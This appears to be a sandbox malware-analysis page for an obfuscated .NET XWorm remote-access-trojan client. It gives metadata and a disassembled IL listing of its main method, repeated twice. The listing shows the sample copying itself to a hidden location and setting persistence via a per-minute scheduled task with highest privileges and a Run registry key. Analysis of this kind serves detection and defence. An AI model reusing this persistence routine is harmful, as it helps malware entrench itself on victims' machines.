Malicious
Malicious

Share on LinkedIn
Print
PE Executable
MD5:
Size: 0 B
application/x-dosexec
Ctrl + scroll to zoom · drag to pan

Get an AI-generated breakdown of this malware's behaviour, IOCs and recommendations.

AI analysis is available with Essential.
Unlock with Essential
File
Type
Portable Executable file
Detection
PeID
.NET executableMicrosoft Visual C# / Basic .NETMicrosoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL Microsoft Visual C# v7.0 / Basic .NETMicrosoft Visual Studio .NET
Symbol obfuscation
Very high
1 malicious · 3 files
EXEc220ccb0f729c74e0b4e7d07c3de261bXWorm
Structure
Name Value
Module Name
XWormClient.exe
Full Name
XWormClient.exe
EntryPoint 
System.Void Stub.g1OJlXdALBVqYTalfe1ESHfLzlAwOIj6Uk7QNgkI::bwXqmOlmzS2Neb7KQzmXvl9YVmBw2s1OCXRUlHZS()
Scope Name
XWormClient.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
XWormClient
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
319
Main Method 
System.Void Stub.g1OJlXdALBVqYTalfe1ESHfLzlAwOIj6Uk7QNgkI::bwXqmOlmzS2Neb7KQzmXvl9YVmBw2s1OCXRUlHZS()
Main IL Instruction Count
204
Main IL 
ldsfld System.Int32 rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::QuF9ea7RxaE6n4VjUoYnsaDaZa2gqonfpOBiLUmC
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::1PijkhOJtacfTnx3WGAES0xBT9LL4lMHEfWmj2v2
call System.Object Stub.cmpLvU8HtUxFQO0UkQXHUgmXAwP9RYduQK8bCHwr7FjlH2fsCnYMqWNPiMYM2CgxY3xd57EsT::Vw52k0V37lDASSUlPbGqzPc5P9HSzUTzLShrk89L4LvzWcvH8q1GkztrBfIajL3LZM8ZzBeHr(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::1PijkhOJtacfTnx3WGAES0xBT9LL4lMHEfWmj2v2
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::fWIZAgGuWKorzA5PI89HM4Vu7Y8y7EjahWFciJ6Z
call System.Object Stub.cmpLvU8HtUxFQO0UkQXHUgmXAwP9RYduQK8bCHwr7FjlH2fsCnYMqWNPiMYM2CgxY3xd57EsT::Vw52k0V37lDASSUlPbGqzPc5P9HSzUTzLShrk89L4LvzWcvH8q1GkztrBfIajL3LZM8ZzBeHr(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::fWIZAgGuWKorzA5PI89HM4Vu7Y8y7EjahWFciJ6Z
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::Ro5zyLtgjzShIELFbiJdOsGNzskvvF9AbWI16HoE
call System.Object Stub.cmpLvU8HtUxFQO0UkQXHUgmXAwP9RYduQK8bCHwr7FjlH2fsCnYMqWNPiMYM2CgxY3xd57EsT::Vw52k0V37lDASSUlPbGqzPc5P9HSzUTzLShrk89L4LvzWcvH8q1GkztrBfIajL3LZM8ZzBeHr(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::Ro5zyLtgjzShIELFbiJdOsGNzskvvF9AbWI16HoE
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::E8adK5qVnNRkGspVNI7qIVQQLJ9GulqbT7yl5oEr
call System.Object Stub.cmpLvU8HtUxFQO0UkQXHUgmXAwP9RYduQK8bCHwr7FjlH2fsCnYMqWNPiMYM2CgxY3xd57EsT::Vw52k0V37lDASSUlPbGqzPc5P9HSzUTzLShrk89L4LvzWcvH8q1GkztrBfIajL3LZM8ZzBeHr(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::E8adK5qVnNRkGspVNI7qIVQQLJ9GulqbT7yl5oEr
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::1It7l1zq27bHBmJEmcIFHCLOOKiJHADlXUHOyh3j
call System.Object Stub.cmpLvU8HtUxFQO0UkQXHUgmXAwP9RYduQK8bCHwr7FjlH2fsCnYMqWNPiMYM2CgxY3xd57EsT::Vw52k0V37lDASSUlPbGqzPc5P9HSzUTzLShrk89L4LvzWcvH8q1GkztrBfIajL3LZM8ZzBeHr(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::1It7l1zq27bHBmJEmcIFHCLOOKiJHADlXUHOyh3j
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::FuTKQ8oDrB3qcvK3boPD1iyLrsAzKfHnLuRu7Ofy
call System.Object Stub.cmpLvU8HtUxFQO0UkQXHUgmXAwP9RYduQK8bCHwr7FjlH2fsCnYMqWNPiMYM2CgxY3xd57EsT::Vw52k0V37lDASSUlPbGqzPc5P9HSzUTzLShrk89L4LvzWcvH8q1GkztrBfIajL3LZM8ZzBeHr(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::FuTKQ8oDrB3qcvK3boPD1iyLrsAzKfHnLuRu7Ofy
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::JKGrwzwtFGi3q9WhN0AXtnDyVyuEKGU1NYCKTqFl
call System.Object Stub.cmpLvU8HtUxFQO0UkQXHUgmXAwP9RYduQK8bCHwr7FjlH2fsCnYMqWNPiMYM2CgxY3xd57EsT::Vw52k0V37lDASSUlPbGqzPc5P9HSzUTzLShrk89L4LvzWcvH8q1GkztrBfIajL3LZM8ZzBeHr(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.String System.Environment::ExpandEnvironmentVariables(System.String)
stsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::JKGrwzwtFGi3q9WhN0AXtnDyVyuEKGU1NYCKTqFl
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::3cCx9ZsWLbm9dJ4VhzRs0boZetHerySrUV6GYRvo
call System.Object Stub.cmpLvU8HtUxFQO0UkQXHUgmXAwP9RYduQK8bCHwr7FjlH2fsCnYMqWNPiMYM2CgxY3xd57EsT::Vw52k0V37lDASSUlPbGqzPc5P9HSzUTzLShrk89L4LvzWcvH8q1GkztrBfIajL3LZM8ZzBeHr(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::3cCx9ZsWLbm9dJ4VhzRs0boZetHerySrUV6GYRvo
leave.s IL_00CB: call System.Boolean Stub.JNbi0BQRYb2ujz07qwEgPQ6hHp8PDleDZdONRpl6oXvTeilPnYRwm0SsSehpyeho3GSyqoYMx::YJSmuRUhesETVoefIJ795shRy0k2hfN5fhCgWJI9TdSbw8KyTAs6ci4EfG()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.3 <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00CB: call System.Boolean Stub.JNbi0BQRYb2ujz07qwEgPQ6hHp8PDleDZdONRpl6oXvTeilPnYRwm0SsSehpyeho3GSyqoYMx::YJSmuRUhesETVoefIJ795shRy0k2hfN5fhCgWJI9TdSbw8KyTAs6ci4EfG()
call System.Boolean Stub.JNbi0BQRYb2ujz07qwEgPQ6hHp8PDleDZdONRpl6oXvTeilPnYRwm0SsSehpyeho3GSyqoYMx::YJSmuRUhesETVoefIJ795shRy0k2hfN5fhCgWJI9TdSbw8KyTAs6ci4EfG()
brtrue.s IL_00D8: call System.Void Stub.g1OJlXdALBVqYTalfe1ESHfLzlAwOIj6Uk7QNgkI::8W4IvpyiZCnUJzbkcsHCocf3meWPao8leUy5glMj()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Stub.g1OJlXdALBVqYTalfe1ESHfLzlAwOIj6Uk7QNgkI::8W4IvpyiZCnUJzbkcsHCocf3meWPao8leUy5glMj()
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::JKGrwzwtFGi3q9WhN0AXtnDyVyuEKGU1NYCKTqFl
ldstr \
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::3cCx9ZsWLbm9dJ4VhzRs0boZetHerySrUV6GYRvo
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.0 <null>
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory()
callvirt System.String System.IO.DirectoryInfo::get_FullName()
stloc.s V_4
ldloc.s V_4
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.Boolean System.IO.Directory::Exists(System.String)
brtrue.s IL_011F: ldloc.0
ldloc.s V_4
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_0136: ldc.i4 1000
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_5
ldloc.s V_5
callvirt System.Void System.IO.FileInfo::Delete()
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.0 <null>
ldsfld System.String Stub.JNbi0BQRYb2ujz07qwEgPQ6hHp8PDleDZdONRpl6oXvTeilPnYRwm0SsSehpyeho3GSyqoYMx::WHVcvJ4kuxFZK29cHtgx2pHC0UCU0v8xThqQCE1zKm6EkORN6hGYUirbzw
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
leave.s IL_0161: ldstr "schtasks.exe"
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_6
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0161: ldstr "schtasks.exe"
ldstr schtasks.exe
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_8
ldloc.s V_8
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.String Stub.RrLJ5G97kRPQdaR5iSNiV1s1r9PFYJtMNxaeUlSv::kurzETSORATauTgMx1g9BuCwEjJD4FNaFXvv0OrA()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_01C7: ldloc.s V_8
ldloc.s V_8
ldc.i4.5 <null>
newarr System.String
stloc.s V_11
ldloc.s V_11
ldc.i4.0 <null>
ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_11
ldc.i4.1 <null>
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::3cCx9ZsWLbm9dJ4VhzRs0boZetHerySrUV6GYRvo
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_11
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_11
ldc.i4.3 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_11
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_11
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
br.s IL_020B: ldloc.s V_8
ldloc.s V_8
ldc.i4.5 <null>
newarr System.String
stloc.s V_11
ldloc.s V_11
ldc.i4.0 <null>
ldstr /create /f /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_11
ldc.i4.1 <null>
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::3cCx9ZsWLbm9dJ4VhzRs0boZetHerySrUV6GYRvo
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_11
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_11
ldc.i4.3 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_11
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_11
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
ldloc.s V_8
call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo)
stloc.s V_7
ldloc.s V_7
callvirt System.Void System.Diagnostics.Process::WaitForExit()
leave.s IL_022C: call My.iWqscxQijSpaeS7FnBqsY7A My.MHmdVktDRSllzcWaCtniY8w::HP2opACtgX4ROFbwFT2tRt9()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_9
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_022C: call My.iWqscxQijSpaeS7FnBqsY7A My.MHmdVktDRSllzcWaCtniY8w::HP2opACtgX4ROFbwFT2tRt9()
call My.iWqscxQijSpaeS7FnBqsY7A My.MHmdVktDRSllzcWaCtniY8w::HP2opACtgX4ROFbwFT2tRt9()
callvirt Microsoft.VisualBasic.MyServices.RegistryProxy Microsoft.VisualBasic.Devices.ServerComputer::get_Registry()
callvirt Microsoft.Win32.RegistryKey Microsoft.VisualBasic.MyServices.RegistryProxy::get_CurrentUser()
ldstr SOFTWARE\Microsoft\Windows\CurrentVersion\Run
ldc.i4.1 <null>
callvirt Microsoft.Win32.RegistryKey Microsoft.Win32.RegistryKey::OpenSubKey(System.String,System.Boolean)
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::3cCx9ZsWLbm9dJ4VhzRs0boZetHerySrUV6GYRvo
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
ldloc.0 <null>
callvirt System.Void Microsoft.Win32.RegistryKey::SetValue(System.String,System.Object)
leave.s IL_0267: call System.Void Stub.JNbi0BQRYb2ujz07qwEgPQ6hHp8PDleDZdONRpl6oXvTeilPnYRwm0SsSehpyeho3GSyqoYMx::gs3grJQaJi7I2da9xQObGF6Ij40U4dA7AgWIIzueHM9OO8vbg6V6aUTlNP()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_10
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0267: call System.Void Stub.JNbi0BQRYb2ujz07qwEgPQ6hHp8PDleDZdONRpl6oXvTeilPnYRwm0SsSehpyeho3GSyqoYMx::gs3grJQaJi7I2da9xQObGF6Ij40U4dA7AgWIIzueHM9OO8vbg6V6aUTlNP()
call System.Void Stub.JNbi0BQRYb2ujz07qwEgPQ6hHp8PDleDZdONRpl6oXvTeilPnYRwm0SsSehpyeho3GSyqoYMx::gs3grJQaJi7I2da9xQObGF6Ij40U4dA7AgWIIzueHM9OO8vbg6V6aUTlNP()
ldnull <null>
ldftn System.Void Stub.g1OJlXdALBVqYTalfe1ESHfLzlAwOIj6Uk7QNgkI::3EUzFWjCeDsISkLcc4KIAdOzM0OfLaXedPdwNAVE()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
callvirt System.Void System.Threading.Thread::Start()
ldnull <null>
ldftn System.Void Stub.g1OJlXdALBVqYTalfe1ESHfLzlAwOIj6Uk7QNgkI::7zaxkPSIm6JPXBmUw1JhSTHJkcqD1EGgbDWnWoui()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.1 <null>
ldnull <null>
ldftn System.Void Stub.g1OJlXdALBVqYTalfe1ESHfLzlAwOIj6Uk7QNgkI::EAUt2qw4YiztkD9rQyWmF6UGoAfZTeMbU2bKQl8q()
newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr)
newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart)
stloc.2 <null>
ldloc.1 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Start()
ldloc.2 <null>
callvirt System.Void System.Threading.Thread::Join()
ret <null>
Module Name
XWormClient.exe
Full Name
XWormClient.exe
EntryPoint 
System.Void Stub.g1OJlXdALBVqYTalfe1ESHfLzlAwOIj6Uk7QNgkI::bwXqmOlmzS2Neb7KQzmXvl9YVmBw2s1OCXRUlHZS()
Scope Name
XWormClient.exe
Scope Type
ModuleDef
Kind
Windows
Runtime Version
v4.0.30319
Tables Header Version
512
WinMD Version
<null>
Assembly Name
XWormClient
Assembly Version
1.0.0.0
Assembly Culture
<null>
Has PublicKey
False
PublicKey Token
<null>
Target Framework
<null>
Total Strings
319
Main Method 
System.Void Stub.g1OJlXdALBVqYTalfe1ESHfLzlAwOIj6Uk7QNgkI::bwXqmOlmzS2Neb7KQzmXvl9YVmBw2s1OCXRUlHZS()
Main IL Instruction Count
204
Main IL 
ldsfld System.Int32 rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::QuF9ea7RxaE6n4VjUoYnsaDaZa2gqonfpOBiLUmC
ldc.i4 1000
mul.ovf <null>
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::1PijkhOJtacfTnx3WGAES0xBT9LL4lMHEfWmj2v2
call System.Object Stub.cmpLvU8HtUxFQO0UkQXHUgmXAwP9RYduQK8bCHwr7FjlH2fsCnYMqWNPiMYM2CgxY3xd57EsT::Vw52k0V37lDASSUlPbGqzPc5P9HSzUTzLShrk89L4LvzWcvH8q1GkztrBfIajL3LZM8ZzBeHr(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::1PijkhOJtacfTnx3WGAES0xBT9LL4lMHEfWmj2v2
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::fWIZAgGuWKorzA5PI89HM4Vu7Y8y7EjahWFciJ6Z
call System.Object Stub.cmpLvU8HtUxFQO0UkQXHUgmXAwP9RYduQK8bCHwr7FjlH2fsCnYMqWNPiMYM2CgxY3xd57EsT::Vw52k0V37lDASSUlPbGqzPc5P9HSzUTzLShrk89L4LvzWcvH8q1GkztrBfIajL3LZM8ZzBeHr(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::fWIZAgGuWKorzA5PI89HM4Vu7Y8y7EjahWFciJ6Z
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::Ro5zyLtgjzShIELFbiJdOsGNzskvvF9AbWI16HoE
call System.Object Stub.cmpLvU8HtUxFQO0UkQXHUgmXAwP9RYduQK8bCHwr7FjlH2fsCnYMqWNPiMYM2CgxY3xd57EsT::Vw52k0V37lDASSUlPbGqzPc5P9HSzUTzLShrk89L4LvzWcvH8q1GkztrBfIajL3LZM8ZzBeHr(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::Ro5zyLtgjzShIELFbiJdOsGNzskvvF9AbWI16HoE
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::E8adK5qVnNRkGspVNI7qIVQQLJ9GulqbT7yl5oEr
call System.Object Stub.cmpLvU8HtUxFQO0UkQXHUgmXAwP9RYduQK8bCHwr7FjlH2fsCnYMqWNPiMYM2CgxY3xd57EsT::Vw52k0V37lDASSUlPbGqzPc5P9HSzUTzLShrk89L4LvzWcvH8q1GkztrBfIajL3LZM8ZzBeHr(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::E8adK5qVnNRkGspVNI7qIVQQLJ9GulqbT7yl5oEr
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::1It7l1zq27bHBmJEmcIFHCLOOKiJHADlXUHOyh3j
call System.Object Stub.cmpLvU8HtUxFQO0UkQXHUgmXAwP9RYduQK8bCHwr7FjlH2fsCnYMqWNPiMYM2CgxY3xd57EsT::Vw52k0V37lDASSUlPbGqzPc5P9HSzUTzLShrk89L4LvzWcvH8q1GkztrBfIajL3LZM8ZzBeHr(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::1It7l1zq27bHBmJEmcIFHCLOOKiJHADlXUHOyh3j
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::FuTKQ8oDrB3qcvK3boPD1iyLrsAzKfHnLuRu7Ofy
call System.Object Stub.cmpLvU8HtUxFQO0UkQXHUgmXAwP9RYduQK8bCHwr7FjlH2fsCnYMqWNPiMYM2CgxY3xd57EsT::Vw52k0V37lDASSUlPbGqzPc5P9HSzUTzLShrk89L4LvzWcvH8q1GkztrBfIajL3LZM8ZzBeHr(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::FuTKQ8oDrB3qcvK3boPD1iyLrsAzKfHnLuRu7Ofy
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::JKGrwzwtFGi3q9WhN0AXtnDyVyuEKGU1NYCKTqFl
call System.Object Stub.cmpLvU8HtUxFQO0UkQXHUgmXAwP9RYduQK8bCHwr7FjlH2fsCnYMqWNPiMYM2CgxY3xd57EsT::Vw52k0V37lDASSUlPbGqzPc5P9HSzUTzLShrk89L4LvzWcvH8q1GkztrBfIajL3LZM8ZzBeHr(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.String System.Environment::ExpandEnvironmentVariables(System.String)
stsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::JKGrwzwtFGi3q9WhN0AXtnDyVyuEKGU1NYCKTqFl
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::3cCx9ZsWLbm9dJ4VhzRs0boZetHerySrUV6GYRvo
call System.Object Stub.cmpLvU8HtUxFQO0UkQXHUgmXAwP9RYduQK8bCHwr7FjlH2fsCnYMqWNPiMYM2CgxY3xd57EsT::Vw52k0V37lDASSUlPbGqzPc5P9HSzUTzLShrk89L4LvzWcvH8q1GkztrBfIajL3LZM8ZzBeHr(System.String)
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
stsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::3cCx9ZsWLbm9dJ4VhzRs0boZetHerySrUV6GYRvo
leave.s IL_00CB: call System.Boolean Stub.JNbi0BQRYb2ujz07qwEgPQ6hHp8PDleDZdONRpl6oXvTeilPnYRwm0SsSehpyeho3GSyqoYMx::YJSmuRUhesETVoefIJ795shRy0k2hfN5fhCgWJI9TdSbw8KyTAs6ci4EfG()
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.3 <null>
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_00CB: call System.Boolean Stub.JNbi0BQRYb2ujz07qwEgPQ6hHp8PDleDZdONRpl6oXvTeilPnYRwm0SsSehpyeho3GSyqoYMx::YJSmuRUhesETVoefIJ795shRy0k2hfN5fhCgWJI9TdSbw8KyTAs6ci4EfG()
call System.Boolean Stub.JNbi0BQRYb2ujz07qwEgPQ6hHp8PDleDZdONRpl6oXvTeilPnYRwm0SsSehpyeho3GSyqoYMx::YJSmuRUhesETVoefIJ795shRy0k2hfN5fhCgWJI9TdSbw8KyTAs6ci4EfG()
brtrue.s IL_00D8: call System.Void Stub.g1OJlXdALBVqYTalfe1ESHfLzlAwOIj6Uk7QNgkI::8W4IvpyiZCnUJzbkcsHCocf3meWPao8leUy5glMj()
ldc.i4.0 <null>
call System.Void System.Environment::Exit(System.Int32)
call System.Void Stub.g1OJlXdALBVqYTalfe1ESHfLzlAwOIj6Uk7QNgkI::8W4IvpyiZCnUJzbkcsHCocf3meWPao8leUy5glMj()
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::JKGrwzwtFGi3q9WhN0AXtnDyVyuEKGU1NYCKTqFl
ldstr \
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::3cCx9ZsWLbm9dJ4VhzRs0boZetHerySrUV6GYRvo
call System.String System.String::Concat(System.String,System.String,System.String)
stloc.0 <null>
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
callvirt System.IO.DirectoryInfo System.IO.FileInfo::get_Directory()
callvirt System.String System.IO.DirectoryInfo::get_FullName()
stloc.s V_4
ldloc.s V_4
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.Boolean System.IO.Directory::Exists(System.String)
brtrue.s IL_011F: ldloc.0
ldloc.s V_4
call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object)
call System.IO.DirectoryInfo System.IO.Directory::CreateDirectory(System.String)
pop <null>
ldloc.0 <null>
call System.Boolean System.IO.File::Exists(System.String)
brfalse.s IL_0136: ldc.i4 1000
ldloc.0 <null>
newobj System.Void System.IO.FileInfo::.ctor(System.String)
stloc.s V_5
ldloc.s V_5
callvirt System.Void System.IO.FileInfo::Delete()
ldc.i4 1000
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldloc.0 <null>
ldsfld System.String Stub.JNbi0BQRYb2ujz07qwEgPQ6hHp8PDleDZdONRpl6oXvTeilPnYRwm0SsSehpyeho3GSyqoYMx::WHVcvJ4kuxFZK29cHtgx2pHC0UCU0v8xThqQCE1zKm6EkORN6hGYUirbzw
call System.Byte[] System.IO.File::ReadAllBytes(System.String)
call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[])
leave.s IL_0161: ldstr "schtasks.exe"
dup <null>
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::SetProjectError(System.Exception)
stloc.s V_6
call System.Void Microsoft.VisualBasic.CompilerServices.ProjectData::ClearProjectError()
leave.s IL_0161: ldstr "schtasks.exe"
ldstr schtasks.exe
newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor(System.String)
stloc.s V_8
ldloc.s V_8
ldc.i4.1 <null>
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle)
call System.String Stub.RrLJ5G97kRPQdaR5iSNiV1s1r9PFYJtMNxaeUlSv::kurzETSORATauTgMx1g9BuCwEjJD4FNaFXvv0OrA()
call System.Boolean Microsoft.VisualBasic.CompilerServices.Conversions::ToBoolean(System.String)
brfalse.s IL_01C7: ldloc.s V_8
ldloc.s V_8
ldc.i4.5 <null>
newarr System.String
stloc.s V_11
ldloc.s V_11
ldc.i4.0 <null>
ldstr /create /f /RL HIGHEST /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_11
ldc.i4.1 <null>
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::3cCx9ZsWLbm9dJ4VhzRs0boZetHerySrUV6GYRvo
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_11
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_11
ldc.i4.3 <null>
ldloc.0 <null>
stelem.ref <null>
ldloc.s V_11
ldc.i4.4 <null>
ldstr "
stelem.ref <null>
ldloc.s V_11
call System.String System.String::Concat(System.String[])
callvirt System.Void System.Diagnostics.ProcessStartInfo::set_Arguments(System.String)
br.s IL_020B: ldloc.s V_8
ldloc.s V_8
ldc.i4.5 <null>
newarr System.String
stloc.s V_11
ldloc.s V_11
ldc.i4.0 <null>
ldstr /create /f /sc minute /mo 1 /tn "
stelem.ref <null>
ldloc.s V_11
ldc.i4.1 <null>
ldsfld System.String rAArsypO48n4745pEL8L4zm252h9FsTj9NzU8qTr::3cCx9ZsWLbm9dJ4VhzRs0boZetHerySrUV6GYRvo
call System.String System.IO.Path::GetFileNameWithoutExtension(System.String)
stelem.ref <null>
ldloc.s V_11
ldc.i4.2 <null>
ldstr " /tr "
stelem.ref <null>
ldloc.s V_11
